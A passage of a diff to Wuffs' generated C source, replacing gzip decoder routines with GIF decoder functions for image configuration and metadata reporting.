((v_output_wi + 1u + ((uint32_t)(self->private_data.f_lzw_lm1s[v_c]))) & 8191u); -- v_steps = (((uint32_t)(self->private_data.f_lzw_lm1s[v_c])) >> 3u); -- while (true) { -- memcpy((self->private_data.f_lzw_output)+(v_o), (self->private_data.f_lzw_suffixes[v_c]), 8u); -- if (v_steps <= 0u) { -- break; -- } -- v_steps -= 1u; -- v_o = (((uint32_t)(v_o - 8u)) & 8191u); -- v_c = ((uint32_t)(self->private_impl.f_lzw_prefixes[v_c])); -- } -- v_first_byte = self->private_data.f_lzw_suffixes[v_c][0u]; -- if (v_code == v_save_code) { -- self->private_data.f_lzw_output[v_output_wi] = v_first_byte; -- v_output_wi = ((v_output_wi + 1u) & 8191u); -- } -- if (v_save_code <= 4095u) { -- v_lm1_b = (((uint16_t)(self->private_data.f_lzw_lm1s[v_prev_code] + 1u)) & 4095u); -- self->private_data.f_lzw_lm1s[v_save_code] = v_lm1_b; -- if ((v_lm1_b % 8u) != 0u) { -- self->private_impl.f_lzw_prefixes[v_save_code] = self->private_impl.f_lzw_prefixes[v_prev_code]; -- memcpy(self->private_data.f_lzw_suffixes[v_save_code],self->private_data.f_lzw_suffixes[v_prev_code], sizeof(self->private_data.f_lzw_suffixes[v_save_code])); -- self->private_data.f_lzw_suffixes[v_save_code][(v_lm1_b % 8u)] = v_first_byte; -- } else { -- self->private_impl.f_lzw_prefixes[v_save_code] = ((uint16_t)(v_prev_code)); -- self->private_data.f_lzw_suffixes[v_save_code][0u] = ((uint8_t)(v_first_byte)); -- } -- v_save_code += 1u; -- if (v_width < 12u) { -- v_width += (1u & (v_save_code >> v_width)); -- } -- v_prev_code = v_code; -- } -- } else { -- self->private_impl.f_lzw_read_from_return_value = 4u; -- break; -- } -- if (v_output_wi > 4095u) { -- self->private_impl.f_lzw_read_from_return_value = 1u; -- break; -- } -+// -------- func gif.decoder.decode_image_config -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_gif__decoder__decode_image_config( -+ wuffs_gif__decoder* self, -+ wuffs_base__image_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); - } -- if (self->private_impl.f_lzw_read_from_return_value != 2u) { -- while (v_n_bits >= 8u) { -- v_n_bits -= 8u; -- if (iop_a_src > io1_a_src) { -- iop_a_src--; -- } else { -- self->private_impl.f_lzw_read_from_return_value = 5u; -- break; -- } -- } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); - } -- self->private_impl.f_lzw_save_code = v_save_code; -- self->private_impl.f_lzw_prev_code = v_prev_code; -- self->private_impl.f_lzw_width = v_width; -- self->private_impl.f_lzw_bits = v_bits; -- self->private_impl.f_lzw_n_bits = v_n_bits; -- self->private_impl.f_lzw_output_wi = v_output_wi; -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ if (!a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); - } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 1)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; -+ wuffs_base__status status = wuffs_base__make_status(NULL); - -- return wuffs_base__make_empty_struct(); --} -- --#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__GIF) -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); - --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__GZIP) -+ uint32_t coro_susp_point = self->private_impl.p_decode_image_config; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - --// ---------------- Status Codes Implementations -+ while (true) { -+ { -+ wuffs_base__status t_0 = wuffs_gif__decoder__do_decode_image_config(self, a_dst, a_src); -+ v_status = t_0; -+ } -+ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_gif__error__truncated_input); -+ goto exit; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ } - --const char wuffs_gzip__error__bad_checksum[] = "#gzip: bad checksum"; --const char wuffs_gzip__error__bad_compression_method[] = "#gzip: bad compression method"; --const char wuffs_gzip__error__bad_encoding_flags[] = "#gzip: bad encoding flags"; --const char wuffs_gzip__error__bad_header[] = "#gzip: bad header"; --const char wuffs_gzip__error__truncated_input[] = "#gzip: truncated input"; -+ ok: -+ self->private_impl.p_decode_image_config = 0; -+ goto exit; -+ } - --// ---------------- Private Consts -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; - --// ---------------- Private Initializer Prototypes -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; -+} - --// ---------------- Private Function Prototypes -+// -------- func gif.decoder.do_decode_image_config - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_gzip__decoder__do_transform_io( -- wuffs_gzip__decoder* self, -- wuffs_base__io_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__slice_u8 a_workbuf); -- --// ---------------- VTables -- --const wuffs_base__io_transformer__func_ptrs --wuffs_gzip__decoder__func_ptrs_for__wuffs_base__io_transformer = { -- (uint64_t(*)(const void*, -- uint32_t))(&wuffs_gzip__decoder__get_quirk), -- (uint64_t(*)(const void*))(&wuffs_gzip__decoder__history_retain_length), -- (wuffs_base__status(*)(void*, -- uint32_t, -- uint64_t))(&wuffs_gzip__decoder__set_quirk), -- (wuffs_base__status(*)(void*, -- wuffs_base__io_buffer*, -- wuffs_base__io_buffer*, -- wuffs_base__slice_u8))(&wuffs_gzip__decoder__transform_io), -- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_gzip__decoder__workbuf_len), --}; -+wuffs_gif__decoder__do_decode_image_config( -+ wuffs_gif__decoder* self, -+ wuffs_base__image_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); - --// ---------------- Initializer Implementations -+ bool v_ffio = false; - --wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT --wuffs_gzip__decoder__initialize( -- wuffs_gzip__decoder* self, -- size_t sizeof_star_self, -- uint64_t wuffs_version, -- uint32_t options){ -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (sizeof(*self) != sizeof_star_self) { -- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -- } -- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); -- } -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -- // The whole point of this if-check is to detect an uninitialized *self. -- // We disable the warning on GCC. Clang-5.0 does not have this warning. --#if !defined(__clang__) && defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" --#endif -- if (self->private_impl.magic != 0) { -- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); -+ if (self->private_impl.f_call_sequence != 0u) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -+ goto exit; -+ } else if ( ! self->private_impl.f_seen_header) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ status = wuffs_gif__decoder__decode_header(self, a_src); -+ if (status.repr) { -+ goto suspend; -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ status = wuffs_gif__decoder__decode_lsd(self, a_src); -+ if (status.repr) { -+ goto suspend; -+ } -+ self->private_impl.f_seen_header = true; - } --#if !defined(__clang__) && defined(__GNUC__) --#pragma GCC diagnostic pop --#endif -- } else { -- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -- memset(self, 0, sizeof(*self)); -- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -- } else { -- memset(&(self->private_impl), 0, sizeof(self->private_impl)); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ status = wuffs_gif__decoder__decode_up_to_id_part1(self, a_src); -+ if (status.repr) { -+ goto suspend; - } -- } -- -- { -- wuffs_base__status z = wuffs_crc32__ieee_hasher__initialize( -- &self->private_data.f_checksum, sizeof(self->private_data.f_checksum), WUFFS_VERSION, options); -- if (z.repr) { -- return z; -+ v_ffio = ! self->private_impl.f_gc_has_transparent_index; -+ if ( ! self->private_impl.f_quirks[2u]) { -+ v_ffio = (v_ffio && -+ (self->private_impl.f_frame_rect_x0 == 0u) && -+ (self->private_impl.f_frame_rect_y0 == 0u) && -+ (self->private_impl.f_frame_rect_x1 == self->private_impl.f_width) && -+ (self->private_impl.f_frame_rect_y1 == self->private_impl.f_height)); -+ } else if (v_ffio) { -+ self->private_impl.f_black_color_u32_argb_premul = 4278190080u; - } -- } -- { -- wuffs_base__status z = wuffs_deflate__decoder__initialize( -- &self->private_data.f_flate, sizeof(self->private_data.f_flate), WUFFS_VERSION, options); -- if (z.repr) { -- return z; -+ if (self->private_impl.f_background_color_u32_argb_premul == 77u) { -+ self->private_impl.f_background_color_u32_argb_premul = self->private_impl.f_black_color_u32_argb_premul; -+ } -+ if (a_dst != NULL) { -+ wuffs_base__image_config__set( -+ a_dst, -+ 2198077448u, -+ 0u, -+ self->private_impl.f_width, -+ self->private_impl.f_height, -+ self->private_impl.f_frame_config_io_position, -+ v_ffio); -+ } -+ if (self->private_impl.f_call_sequence == 0u) { -+ self->private_impl.f_call_sequence = 32u; - } -- } -- self->private_impl.magic = WUFFS_BASE__MAGIC; -- self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = -- wuffs_base__io_transformer__vtable_name; -- self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = -- (const void*)(&wuffs_gzip__decoder__func_ptrs_for__wuffs_base__io_transformer); -- return wuffs_base__make_status(NULL); --} - --wuffs_gzip__decoder* --wuffs_gzip__decoder__alloc(void) { -- wuffs_gzip__decoder* x = -- (wuffs_gzip__decoder*)(calloc(sizeof(wuffs_gzip__decoder), 1)); -- if (!x) { -- return NULL; -- } -- if (wuffs_gzip__decoder__initialize( -- x, sizeof(wuffs_gzip__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -- free(x); -- return NULL; -+ goto ok; -+ ok: -+ self->private_impl.p_do_decode_image_config = 0; -+ goto exit; - } -- return x; --} -- --size_t --sizeof__wuffs_gzip__decoder(void) { -- return sizeof(wuffs_gzip__decoder); --} - --// ---------------- Function Implementations -- --// -------- func gzip.decoder.get_quirk -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_gzip__decoder__get_quirk( -- const wuffs_gzip__decoder* self, -- uint32_t a_key) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -+ goto suspend; -+ suspend: -+ self->private_impl.p_do_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; - -- if ((a_key == 1u) && self->private_impl.f_ignore_checksum) { -- return 1u; -- } -- return 0u; -+ goto exit; -+ exit: -+ return status; - } - --// -------- func gzip.decoder.set_quirk -+// -------- func gif.decoder.set_report_metadata - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_gzip__decoder__set_quirk( -- wuffs_gzip__decoder* self, -- uint32_t a_key, -- uint64_t a_value) { -+WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct -+wuffs_gif__decoder__set_report_metadata( -+ wuffs_gif__decoder* self, -+ uint32_t a_fourcc, -+ bool a_report) { - if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ return wuffs_base__make_empty_struct(); - } - if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -- -- if (a_key == 1u) { -- self->private_impl.f_ignore_checksum = (a_value > 0u); -- return wuffs_base__make_status(NULL); -- } -- return wuffs_base__make_status(wuffs_base__error__unsupported_option); --} -- --// -------- func gzip.decoder.history_retain_length -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_gzip__decoder__history_retain_length( -- const wuffs_gzip__decoder* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -+ return wuffs_base__make_empty_struct(); - } - -- return 0u; --} -- --// -------- func gzip.decoder.workbuf_len -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 --wuffs_gzip__decoder__workbuf_len( -- const wuffs_gzip__decoder* self) { -- if (!self) { -- return wuffs_base__utility__empty_range_ii_u64(); -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return wuffs_base__utility__empty_range_ii_u64(); -+ if (a_fourcc == 1229144912u) { -+ self->private_impl.f_report_metadata_iccp = a_report; -+ } else if (a_fourcc == 1481461792u) { -+ self->private_impl.f_report_metadata_xmp = a_report; - } -- -- return wuffs_base__utility__make_range_ii_u64(1u, 1u); -+ return wuffs_base__make_empty_struct(); - } - --// -------- func gzip.decoder.transform_io -+// -------- func gif.decoder.tell_me_more - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_gzip__decoder__transform_io( -- wuffs_gzip__decoder* self, -+wuffs_gif__decoder__tell_me_more( -+ wuffs_gif__decoder* self, - wuffs_base__io_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__slice_u8 a_workbuf) { -+ wuffs_base__more_information* a_minfo, -+ wuffs_base__io_buffer* a_src) { - if (!self) { - return wuffs_base__make_status(wuffs_base__error__bad_receiver); - } -@@ -39737,7 +41163,7 @@ wuffs_gzip__decoder__transform_io( - return wuffs_base__make_status(wuffs_base__error__bad_argument); - } - if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 1)) { -+ (self->private_impl.active_coroutine != 2)) { - self->private_impl.magic = WUFFS_BASE__DISABLED; - return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); - } -@@ -39746,17 +41172,17 @@ wuffs_gzip__decoder__transform_io( - - wuffs_base__status v_status = wuffs_base__make_status(NULL); - -- uint32_t coro_susp_point = self->private_impl.p_transform_io[0]; -+ uint32_t coro_susp_point = self->private_impl.p_tell_me_more; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - - while (true) { - { -- wuffs_base__status t_0 = wuffs_gzip__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); -+ wuffs_base__status t_0 = wuffs_gif__decoder__do_tell_me_more(self, a_dst, a_minfo, a_src); - v_status = t_0; - } - if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_gzip__error__truncated_input); -+ status = wuffs_base__make_status(wuffs_gif__error__truncated_input); - goto exit; - } - status = v_status; -@@ -39764,14 +41190,14 @@ wuffs_gzip__decoder__transform_io( - } - - ok: -- self->private_impl.p_transform_io[0] = 0; -+ self->private_impl.p_tell_me_more = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_transform_io[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; -+ self->private_impl.p_tell_me_more = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; - - goto exit; - exit: -@@ -39781,40 +41207,19 @@ wuffs_gzip__decoder__transform_io( - return status; - } - --// -------- func gzip.decoder.do_transform_io -+// -------- func gif.decoder.do_tell_me_more - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_gzip__decoder__do_transform_io( -- wuffs_gzip__decoder* self, -+wuffs_gif__decoder__do_tell_me_more( -+ wuffs_gif__decoder* self, - wuffs_base__io_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__slice_u8 a_workbuf) { -+ wuffs_base__more_information* a_minfo, -+ wuffs_base__io_buffer* a_src) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint8_t v_c = 0; -- uint8_t v_flags = 0; -- uint16_t v_xlen = 0; -- uint64_t v_mark = 0; -- uint32_t v_checksum_got = 0; -- uint32_t v_decoded_length_got = 0; -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -- uint32_t v_checksum_want = 0; -- uint32_t v_decoded_length_want = 0; -+ uint64_t v_chunk_length = 0; - -- uint8_t* iop_a_dst = NULL; -- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_dst && a_dst->data.ptr) { -- io0_a_dst = a_dst->data.ptr; -- io1_a_dst = io0_a_dst + a_dst->meta.wi; -- iop_a_dst = io1_a_dst; -- io2_a_dst = io0_a_dst + a_dst->data.len; -- if (a_dst->meta.closed) { -- io2_a_dst = iop_a_dst; -- } -- } - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; - const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -39826,269 +41231,95 @@ wuffs_gzip__decoder__do_transform_io( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_do_transform_io[0]; -- if (coro_susp_point) { -- v_flags = self->private_data.s_do_transform_io[0].v_flags; -- v_checksum_got = self->private_data.s_do_transform_io[0].v_checksum_got; -- v_decoded_length_got = self->private_data.s_do_transform_io[0].v_decoded_length_got; -- v_checksum_want = self->private_data.s_do_transform_io[0].v_checksum_want; -- } -+ uint32_t coro_susp_point = self->private_impl.p_do_tell_me_more; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_0 = *iop_a_src++; -- v_c = t_0; -- } -- if (v_c != 31u) { -- status = wuffs_base__make_status(wuffs_gzip__error__bad_header); -- goto exit; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_1 = *iop_a_src++; -- v_c = t_1; -- } -- if (v_c != 139u) { -- status = wuffs_base__make_status(wuffs_gzip__error__bad_header); -+ if (((uint8_t)(self->private_impl.f_call_sequence & 16u)) == 0u) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); - goto exit; - } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_2 = *iop_a_src++; -- v_c = t_2; -- } -- if (v_c != 8u) { -- status = wuffs_base__make_status(wuffs_gzip__error__bad_compression_method); -+ if (self->private_impl.f_metadata_fourcc == 0u) { -+ status = wuffs_base__make_status(wuffs_base__error__no_more_information); - goto exit; - } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_3 = *iop_a_src++; -- v_flags = t_3; -- } -- self->private_data.s_do_transform_io[0].scratch = 6u; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -- if (self->private_data.s_do_transform_io[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -- self->private_data.s_do_transform_io[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -- iop_a_src = io2_a_src; -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- iop_a_src += self->private_data.s_do_transform_io[0].scratch; -- if ((v_flags & 4u) != 0u) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -- uint16_t t_4; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_4 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); -- iop_a_src += 2; -- } else { -- self->private_data.s_do_transform_io[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_transform_io[0].scratch; -- uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; -- if (num_bits_4 == 8) { -- t_4 = ((uint16_t)(*scratch)); -- break; -- } -- num_bits_4 += 8u; -- *scratch |= ((uint64_t)(num_bits_4)) << 56; -- } -- } -- v_xlen = t_4; -- } -- self->private_data.s_do_transform_io[0].scratch = ((uint32_t)(v_xlen)); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -- if (self->private_data.s_do_transform_io[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -- self->private_data.s_do_transform_io[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -- iop_a_src = io2_a_src; -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- iop_a_src += self->private_data.s_do_transform_io[0].scratch; -- } -- if ((v_flags & 8u) != 0u) { -+ while (true) { - while (true) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+ if (wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))) != self->private_impl.f_metadata_io_position) { -+ if (a_minfo != NULL) { -+ wuffs_base__more_information__set(a_minfo, -+ 2u, -+ 0u, -+ self->private_impl.f_metadata_io_position, -+ 0u, -+ 0u); - } -- uint8_t t_5 = *iop_a_src++; -- v_c = t_5; -- } -- if (v_c == 0u) { -- break; -+ status = wuffs_base__make_status(wuffs_base__suspension__mispositioned_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ continue; - } -- } -- } -- if ((v_flags & 16u) != 0u) { -- while (true) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ if (a_minfo != NULL) { -+ wuffs_base__more_information__set(a_minfo, -+ 0u, -+ 0u, -+ 0u, -+ 0u, -+ 0u); - } -- uint8_t t_6 = *iop_a_src++; -- v_c = t_6; -- } -- if (v_c == 0u) { -- break; -- } -- } -- } -- if ((v_flags & 2u) != 0u) { -- self->private_data.s_do_transform_io[0].scratch = 2u; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); -- if (self->private_data.s_do_transform_io[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -- self->private_data.s_do_transform_io[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -- iop_a_src = io2_a_src; -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- iop_a_src += self->private_data.s_do_transform_io[0].scratch; -- } -- if ((v_flags & 224u) != 0u) { -- status = wuffs_base__make_status(wuffs_gzip__error__bad_encoding_flags); -- goto exit; -- } -- while (true) { -- v_mark = ((uint64_t)(iop_a_dst - io0_a_dst)); -- { -- if (a_dst) { -- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -- } -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- wuffs_base__status t_7 = wuffs_deflate__decoder__transform_io(&self->private_data.f_flate, a_dst, a_src, a_workbuf); -- v_status = t_7; -- if (a_dst) { -- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; -- } -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); -+ continue; - } -+ break; - } -- if ( ! self->private_impl.f_ignore_checksum) { -- v_checksum_got = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_checksum, wuffs_base__io__since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); -- v_decoded_length_got += ((uint32_t)(wuffs_base__io__count_since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst))))); -- } -- if (wuffs_base__status__is_ok(&v_status)) { -+ v_chunk_length = ((uint64_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))); -+ if (v_chunk_length <= 0u) { -+ iop_a_src += 1u; - break; - } -- status = v_status; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(12); -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); -- uint32_t t_8; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_8 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -- iop_a_src += 4; -+ if (self->private_impl.f_metadata_fourcc == 1481461792u) { -+ v_chunk_length += 1u; - } else { -- self->private_data.s_do_transform_io[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_transform_io[0].scratch; -- uint32_t num_bits_8 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_8; -- if (num_bits_8 == 24) { -- t_8 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_8 += 8u; -- *scratch |= ((uint64_t)(num_bits_8)) << 56; -- } -+ iop_a_src += 1u; - } -- v_checksum_want = t_8; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); -- uint32_t t_9; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_9 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_do_transform_io[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_transform_io[0].scratch; -- uint32_t num_bits_9 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_9; -- if (num_bits_9 == 24) { -- t_9 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_9 += 8u; -- *scratch |= ((uint64_t)(num_bits_9)) << 56; -- } -+ self->private_impl.f_metadata_io_position = wuffs_base__u64__sat_add(wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))), v_chunk_length); -+ if (a_minfo != NULL) { -+ wuffs_base__more_information__set(a_minfo, -+ 3u, -+ self->private_impl.f_metadata_fourcc, -+ 0u, -+ wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))), -+ self->private_impl.f_metadata_io_position); - } -- v_decoded_length_want = t_9; -+ status = wuffs_base__make_status(wuffs_base__suspension__even_more_information); -+ 